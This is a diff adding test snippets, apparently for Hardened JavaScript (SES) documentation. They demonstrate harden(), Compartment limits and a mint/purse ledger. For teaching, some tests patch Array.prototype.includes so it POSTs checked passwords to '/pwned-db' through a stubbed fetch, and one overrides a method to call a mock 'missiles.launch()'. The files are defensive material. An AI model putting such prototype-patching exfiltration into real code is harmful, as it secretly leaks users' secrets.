+test('async fetch', async t => {
+ const assert = cond => t.true(cond);
+ const fetch = _ =>
+ Promise.resolve({
+ json: () => Promise.resolve(['p1', 'p2']),
+ });
+ const initialize = p => assert(p.length === 2);
+
+ // #region asyncFetch
+ const init = fetch('products.json')
+ .then(response => response.json())
+ .then(products => initialize(products))
+ .catch(err => {
+ console.log(`Fetch problem: ${err.message}`);
+ });
+ // #endregion asyncFetch
+ await init;
+});
+
test('distributed programming -- basic notifiers', async t => {
// region makeNotifierKit
const { notifier, updater } = makeNotifierKit();
diff --git a/snippets/test-hardened-js.js b/snippets/test-hardened-js.js
new file mode 100644
index 000000000..ff9e27841
--- /dev/null
+++ b/snippets/test-hardened-js.js
@@ -0,0 +1,307 @@
+// @jessie-check
+/* global Compartment */
+import { test } from '@agoric/zoe/tools/prepare-test-env-ava.js';
+
+test('Counter Example', t => {
+ const assert = cond => t.true(cond);
+
+ // #region makeCounter
+ const makeCounter = () => {
+ let count = 0;
+ return harden({
+ incr: () => (count += 1),
+ decr: () => (count -= 1),
+ });
+ };
+
+ const counter = makeCounter();
+ counter.incr();
+ const n = counter.incr();
+ assert(n === 2);
+ // #endregion makeCounter
+
+ const entryGuard = { use: _f => {} };
+ const exitGuard = { use: _f => {} };
+
+ // #region entryExit
+ entryGuard.use(counter.incr);
+ exitGuard.use(counter.decr);
+ // #endregion entryExit
+});
+
+test('counter animation', t => {
+ // #region counterAnimation
+ const makeCounter = () => {
+ let count = 0;
+ return harden({
+ incr: () => (count += 1),
+ // ...
+ });
+ };
+ // #endregion counterAnimation
+
+ const c1 = makeCounter();
+
+ const c2 = makeCounter();
+ t.is(c2.incr(), 1);
+ t.deepEqual([c1.incr(), c2.incr()], [1, 2]);
+});
+
+test('assign to frozen property fails', t => {
+ const x = harden({ y: 1 });
+ t.throws(
+ () => {
+ x.y = 2;
+ },
+ { name: 'TypeError' },
+ );
+});
+
+test('Date.now() always returns NaN', t => {
+ const c1 = new Compartment();
+ t.is(c1.evaluate(`Date.now()`), NaN);
+});
+
+test('Math.random is not available', t => {
+ const c1 = new Compartment();
+ t.throws(() => c1.evaluate(`Math.random()`));
+});
+
+test('stateless object', t => {
+ const assert = cond => t.true(cond);
+
+ // #region data
+ const item = { size: 2, color: 'blue' };
+ const point = { x: 1, y: 2 };
+ assert(point.x + 1 === item.size);
+ // #endregion data
+
+ // #region singleton
+ const origin = {
+ getX: () => 0,
+ getY: () => 0,
+ distance: other => Math.sqrt(other.getX() ** 2 + other.getY() ** 2),
+ };
+ const x0 = origin.getX();
+ assert(x0 === 0);
+ // #endregion singleton
+
+ // #region maker
+ const makePoint = (x, y) => {
+ return {
+ getX: () => x,
+ getY: () => y,
+ };
+ };
+ const p11 = makePoint(1, 1);
+ const d = origin.distance(p11);
+ assert(Math.abs(d - 1.414) < 0.001);
+ // #endregion maker
+
+ // #region clobber
+ p11.getX = () => 'I am not a number!';
+ const d2 = origin.distance(p11);
+ assert(Number.isNaN(d2));
+ // #endregion clobber
+
+ const missiles = { launch: () => null };
+
+ p11.getX = () => 1;
+ // #region exploit
+ p11.getY = () => {
+ missiles.launch(); // !!!
+ return 1;
+ };
+ const d3 = origin.distance(p11);
+ assert(Math.abs(d3 - 1.414) < 0.001);
+ // #endregion exploit
+});
+
+test('hardened point thwarts attacker', t => {
+ // #region defensiveMaker
+ const makePoint = (x, y) => {
+ return harden({
+ getX: () => x,
+ getY: () => y,
+ });
+ };
+ // #endregion defensiveMaker
+ t.throws(() => {
+ // #region thwarted
+ const p11 = makePoint(1, 1);
+ p11.getX = () => 1; // throws
+ // #endregion thwarted
+ });
+});
+
+test('cannot redefine includes method on Array', t => {
+ const fail = msg => {
+ throw Error(msg);
+ };
+ const fetch = () => fail('not allowed');
+
+ t.throws(
+ () =>
+ Object.assign(Array.prototype, {
+ includes: specimen => {
+ fetch('/pwned-db', {
+ method: 'POST',
+ body: JSON.stringify(specimen),
+ });
+ return false;
+ },
+ }),
+ { message: /read only property/ },
+ );
+});
+
+// #region makeCounter1
+const makeCounter1 = () => {
+ let value = 0;
+ return {
+ increment: () => {
+ value += 1;
+ return value;
+ },
+ decrement: () => {
+ value -= 1;
+ return value;
+ },
+ };
+};
+// #endregion makeCounter1
+
+test('count people coming and going', t => {
+ // #region counter1
+ const people = makeCounter1();
+ const entryGuard = people.increment;
+ const exitGuard = people.decrement;
+
+ t.is(entryGuard(), 1);
+ t.is(entryGuard(), 2);
+ t.is(exitGuard(), 1);
+ // #endregion counter1
+});
+
+// #region makeCounter
+const makeCounter = init => {
+ let value = init;
+ return harden({
+ increment: () => {
+ value += 1;
+ return value;
+ },
+ decrement: () => {
+ value -= 1;
+ return value;
+ },
+ });
+};
+// #endregion makeCounter
+
+test('basic counter', t => {
+ const c1 = makeCounter(1);
+ t.is(c1.increment(), 2);
+
+ t.is(c1.increment(), 3);
+});
+
+const makeWeakMap = () => new WeakMap();
+
+// region: makeMint0
+const makeMint1 = () => {
+ const ledger = makeWeakMap();
+
+ const issuer = {
+ // eslint-disable-next-line no-use-before-define
+ makeEmptyPurse: () => mint.makePurse(0n),
+ };
+
+ const mint = {
+ makePurse: initialBalance => {
+ const purse = harden({
+ getIssuer: () => issuer,
+ getBalance: () => ledger.get(purse),
+
+ deposit: (amount, src) => {
+ ledger.set(src, ledger.get(src) - amount);
+ ledger.set(purse, ledger.get(purse) + amount);
+ },
+ withdraw: amount => {
+ const newPurse = issuer.makeEmptyPurse();
+ newPurse.deposit(amount, purse);
+ return newPurse;
+ },
+ });
+ ledger.set(purse, initialBalance);
+ return purse;
+ },
+ };
+
+ return mint;
+};
+// #region makeMint0
+
+test('DRAFT: alice sends 10 to bob', t => {
+ const dollarMint = makeMint1();
+ const alicePurse = dollarMint.makePurse(100n);
+ const bobPurse = alicePurse.getIssuer().makeEmptyPurse();
+
+ const p1 = alicePurse.withdraw(10n);
+ bobPurse.deposit(10n, p1);
+
+ t.is(alicePurse.getBalance(), 90n);
+ t.is(bobPurse.getBalance(), 10n);
+});
+
+const fail = why => {
+ throw TypeError(why);
+};
+const Nat = x => (typeof x === 'bigint' && x >= 0n ? x : fail(`${x} not Nat`));
+
+// #region makeMint
+const makeMint = () => {
+ const ledger = makeWeakMap();
+
+ const issuer = harden({
+ // eslint-disable-next-line no-use-before-define
+ makeEmptyPurse: () => mint.makePurse(0n),
+ });
+
+ const mint = harden({
+ makePurse: initialBalance => {
+ const purse = harden({
+ getIssuer: () => issuer,
+ getBalance: () => ledger.get(purse),
+
+ deposit: (amount, src) => {
+ Nat(ledger.get(purse) + Nat(amount));
+ ledger.set(src, Nat(ledger.get(src) - amount));
+ ledger.set(purse, ledger.get(purse) + amount);
+ },
+ withdraw: amount => {
+ const newPurse = issuer.makeEmptyPurse();
+ newPurse.deposit(amount, purse);
+ return newPurse;
+ },
+ });
+ ledger.set(purse, initialBalance);
+ return purse;
+ },
+ });
+
+ return mint;
+};
+// #endregion makeMint
+
+test('alice sends 10 to bob', t => {
+ const dollarMint = makeMint();
+ const alicePurse = dollarMint.makePurse(100n);
+ const bobPurse = alicePurse.getIssuer().makeEmptyPurse();
+
+ const p1 = alicePurse.withdraw(10n);
+ bobPurse.deposit(10n, p1);
+
+ t.is(alicePurse.getBalance(), 90n);
+ t.is(bobPurse.getBalance(), 10n);
+});
diff --git a/snippets/test-no-ses.js b/snippets/test-no-ses.js
new file mode 100644
index 000000000..6babcf28f
--- /dev/null
+++ b/snippets/test-no-ses.js
@@ -0,0 +1,38 @@
+import test from 'ava';
+
+// #region changePassword
+const oldPasswords = [];
+
+function changePassword(before, after) {
+ if (oldPasswords.includes(after)) throw Error('cannot reuse');
+ oldPasswords.push(after);
+ // ... update DB to after
+}
+// #endregion changePassword
+
+function setupUtility(t) {
+ function fetch(url, { body }) {
+ t.log('exfiltrated:', body);
+ t.context.pwned.push(body);
+ }
+
+ // #region exfiltrate
+ Object.assign(Array.prototype, {
+ includes: specimen => {
+ fetch('/pwned-db', { method: 'POST', body: JSON.stringify(specimen) });
+ return false;
+ },
+ });
+ // #endregion exfiltrate
+}
+
+test.before(t => {
+ t.context.pwned = [];
+});
+
+test('password exfiltration', t => {
+ setupUtility(t);
+ changePassword('x', 'y');
+ changePassword('x', 'z');
+ t.deepEqual(t.context.pwned, ['"y"', '"z"']);
+});